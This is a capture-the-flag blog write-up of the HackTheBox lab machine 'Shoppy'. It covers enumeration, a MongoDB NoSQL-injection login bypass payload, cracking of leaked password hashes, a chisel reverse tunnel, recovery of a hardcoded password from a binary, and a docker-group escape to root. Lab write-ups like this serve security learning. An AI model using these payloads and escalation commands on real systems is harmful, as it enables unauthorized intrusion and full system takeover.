Kashmir54

Cibersecurity blog. CTFs, writeups, electronics and more!

Home YouTube View on GitHub

Shoppy

Summary

Shoppy is an easy box where we have a website displaying the password hashes of the users. By enumerating those users, we find josh, which password can be cracked on crackstation. Using that password in one subdomain we enumerated earlies, we access to a chat root with his teammates, revealing passwords to access the machine via SSH.

Once in the machine, we find a password-manager script, which master password can be extrated by checking the strings or a quick dissasembly. Within the manager, we could get credentials for deploy users, which is on the docker group. This way, we can run an image to mount the whole filesystem into the docker container and go over them with root permissions (since docker was running with those permissions).

Enumeration

nmap -sC -sV -p- 10.10.11.180 -oA nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-29 04:00 EDT
Nmap scan report for 10.10.11.180
Host is up (0.044s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e:5e:83:51:d9:9f:89:ea:47:1a:12:eb:81:f9:22:c0 (RSA)
|   256 58:57:ee:eb:06:50:03:7c:84:63:d7:a3:41:5b:1a:d5 (ECDSA)
|_  256 3e:9d:0a:42:90:44:38:60:b3:b6:2c:e9:bd:9a:67:54 (ED25519)
80/tcp   open  http     nginx 1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
|_http-server-header: nginx/1.23.1
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Thu, 29 Sep 2022 08:01:25 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 117
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 117
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 2.4477e-05
|     go_gc_duration_seconds{quantile="0.25"} 7.4391e-05
|_    go_gc

Add shoppy.htb to the /etc/hosts

gobuster dir -u "http://shoppy.htb" --wordlist=/usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt -t 10      
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://shoppy.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2022/09/29 04:08:05 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 179] [--> /images/]
/admin                (Status: 302) [Size: 28] [--> /login]   
/js                   (Status: 301) [Size: 171] [--> /js/]    
/login                (Status: 200) [Size: 1074]              
/css                  (Status: 301) [Size: 173] [--> /css/]   
/login                (Status: 200) [Size: 1074]              
/assets               (Status: 301) [Size: 179] [--> /assets/]
/Admin                (Status: 302) [Size: 28] [--> /login]   
/Login                (Status: 200) [Size: 1074]              
/fonts                (Status: 301) [Size: 177] [--> /fonts/] 
/ADMIN                (Status: 302) [Size: 28] [--> /login]   
/exports              (Status: 301) [Size: 181] [--> /exports/]
/LOGIN                (Status: 200) [Size: 1074]

We can see the /exports endpoint but it says that no POST is allowed:

Cannot GET /exports/

The other thing standing out is the port 9093, let’s visit it:

http://shoppy.htb:9093/

We get a rare output with constants or variables:

# HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
# TYPE go_gc_cycles_automatic_gc_cycles_total counter
go_gc_cycles_automatic_gc_cycles_total 122
# HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
# TYPE go_gc_cycles_forced_gc_cycles_total counter
go_gc_cycles_forced_gc_cycles_total 0
# HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
# TYPE go_gc_cycles_total_gc_cycles_total counter
go_gc_cycles_total_gc_cycles_total 122
# HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
# TYPE go_gc_duration_seconds summary
go_gc_duration_seconds{quantile="0"} 2.4477e-05
go_gc_duration_seconds{quantile="0.25"} 7.7285e-05
go_gc_duration_seconds{quantile="0.5"} 0.000114755
go_gc_duration_seconds{quantile="0.75"} 0.000207428
go_gc_duration_seconds{quantile="1"} 0.030840968
go_gc_duration_seconds_sum 0.051503772
go_gc_duration_seconds_count 122
# HELP go_gc_heap_allocs_by_size_bytes_total Distribution of heap allocations by approximate size. Note that this does not include tiny objects as defined by /gc/heap/tiny/allocs:objects, only tiny blocks.
# TYPE go_gc_heap_allocs_by_size_bytes_total histogram
go_gc_heap_allocs_by_size_bytes_total_bucket{le="8.999999999999998"} 11963
go_gc_heap_allocs_by_size_bytes_total_bucket{le="24.999999999999996"} 101727
go_gc_heap_allocs_by_size_bytes_total_bucket{le="64.99999999999999"} 139326
go_gc_heap_allocs_by_size_bytes_total_bucket{le="144.99999999999997"} 165667
go_gc_heap_allocs_by_size_bytes_total_bucket{le="320.99999999999994"} 173057
go_gc_heap_allocs_by_size_bytes_total_bucket{le="704.9999999999999"} 175525
go_gc_heap_allocs_by_size_bytes_total_bucket{le="1536.9999999999998"} 176339
go_gc_heap_allocs_by_size_bytes_total_bucket{le="3200.9999999999995"} 176887
go_gc_heap_allocs_by_size_bytes_total_bucket{le="6528.999999999999"} 177294
go_gc_heap_allocs_by_size_bytes_total_bucket{le="13568.999999999998"} 177336
go_gc_heap_allocs_by_size_bytes_total_bucket{le="27264.999999999996"} 177369
....

What I can see from a quick google search is promscale metrics as seen on the documentation.

We can see the following versions within that gibberish. I take note of them for the future:

go_info{version="go1.18.1"} 1
# TYPE playbooks_plugin_system_playbook_instance_info gauge
playbooks_plugin_system_playbook_instance_info{Version="1.29.1"} 1

But nothing cleat at the moment. Looking for subdomains we find the following two:

ffuf -c -u 'http://shoppy.htb' -H 'Host: FUZZ.shoppy.htb' -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt
________________________________________________

alpblog                 [Status: 200, Size: 2178, Words: 853, Lines: 57]
mattermost              [Status: 200, Size: 3122, Words: 141, Lines: 1]

I added those subdomains to the /etc/hosts file. On mattermost we find a login interface. Might be useful if we find some credentials. Focusing on the login of the main webapp and looking for some SQLi, we actually see this basic input to return a timeout:

After some testing and different paylaods, I checked for NoSQL payloads and eventually, the MongoDB payload from Hacktricks worked:

username=admin'||'1==1&password=1'||'1==1

When logged in, we can see that cookie which is usually related to NodeJS and Express:

We finally land in the following website, seems like a store:

When searching for a user it makes a call to /admin/search-users?username=admin

And as result we have an export link:

http://shoppy.htb/exports/export-search.json

Which returns the following result for the user we have looked up:

[
    {
        "username": "admin",
        "_id": "62db0e93d6d6a999a66ee67a",
        "password": "23c6877d9e2b564ef8b32c3a23de27b2"
    }
]

Fuzzing for usernames we found “admin” and “josh”:

ffuf -u "http://shoppy.htb/admin/search-users?username=FUZZ" -w /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt -b "connect.sid=s%3AxNlN6lb5qvPB_xjNYGmKkpFWyFcyXEhq.4g5nAQYvynaU5UrmxKpW%2FKMpNlqaJusUCYT99IZVsJg" -fs 2561 -t 3

admin                   [Status: 200, Size: 2720, Words: 716, Lines: 56, Duration: 71ms]
josh                    [Status: 200, Size: 2720, Words: 716, Lines: 56, Duration: 56ms]

Well… We just had NoSQLi in the login, it is posible to reproduce it on this form? The behaviour on this website is strange, we make the request and it returns a link with no parameter, uuid or anything, but when downloading the report we just have the NoSQLi executed correctly. The refer header does not change the result, the query should be stored internally:

In the end we have the hashes for admin and josh:

[
    {
        "username": "admin",
        "_id": "62db0e93d6d6a999a66ee67a",
        "password": "23c6877d9e2b564ef8b32c3a23de27b2"
    },
    {
        "username": "josh",
        "_id": "62db0e93d6d6a999a66ee67b",
        "password": "6ebcea65320589ca4f2f1ce039975995"
    }
]

Using crackstation, we can get the credentials for josh, a simple MD5 hash:

josh:remembermethisway

Using josh username and password on the mattermost app we get inside. On that website we can see a message app with curious messages like these ones:

We get new credentials to test:

jaeger:Sh0ppyBest@pp!

They are using docker and some information about C++ password manager(?). We can get that information from the messages:

“Oh I forgot to tell you, that we’re going to use docker for the deployment, so I will add it to the first deploy “ “Hey @jaeger, when I was trying to install docker on the machine, I started learn C++ and I do a password manager. You can test it if you want, the program is on the deploy machine.”

Right away, I tested the jaeger credentials with SSH and we are into the machine:

1e709726c59310f9fb72466af6103bea

Privesc

First, we can see that jaeger has sudo capabilities for the password-manager they were mentioning on the forum. We will keep on this track.

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

Also, we have shoppy_start.sh script in the machine

# shoppy_start.sh 
#!/bin/bash

export NVM_DIR="$HOME/.nvm"
[ -s "$NVM_DIR/nvm.sh" ] && \. "$NVM_DIR/nvm.sh"

cd /home/jaeger/ShoppyApp && npm start

On the deploy user we can see some interesting files:

Currently there is no way to get into those files. The password manager cannot be executed from our user, so I kept enumerating the machine. On the ShoppyApp directory (on jaeger’s home directory), we can see the following pieces of code:

const mongoUri = 'mongodb://127.0.0.1/shoppy';

app.use(session({
  secret: 'DJ7aAdnkCZs9DZWx',
  store: MongoStore.create({mongoUrl: mongoUri}),
  resave: false,
  saveUninitialized: false
}));

We have mongo running on port 127.0.0.1:27017 let’s check it by creating a tunnel with chisel:

# On attack box
./chisel server -p 8000 --reverse

# On server
./chisel client 10.10.14.142:8000 R:27017:127.0.0.1:27017

There is nothing relevant:

Next step was to take a look to the password-manager since Josh stated that he just started writing C++ (and we can sudo as deploy user). I throwed the binary into Cutter to inspect it. I also run it, it just ask for a master password but none of the previous one worked. Therefore, I checked the dissasembled code to see if it was hardcoded. After some inspection, we can see the strings telling about being the correct password, so taking a look to the code, it is basically comparing the input string with the “Sample” string.

It was not obvious with strings since it was in UTF16-LE. With rabin2 it could be easily spotted (Thanks @RazviOverflow):

We got the credentials:

deploy:Deploying@pp!

We can confirm the reversed theory (kinda weird this code):

deploy user is on the docker group, so we can try some docker privesc as suggested by linpeas. Since docker is installed with root, we cna mount the whole filesystem into the container and access to it with such permissions. We can use this GTFOBin:

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

And we get a shell with root:

4222901caf446e78ed7d67fed7764a4e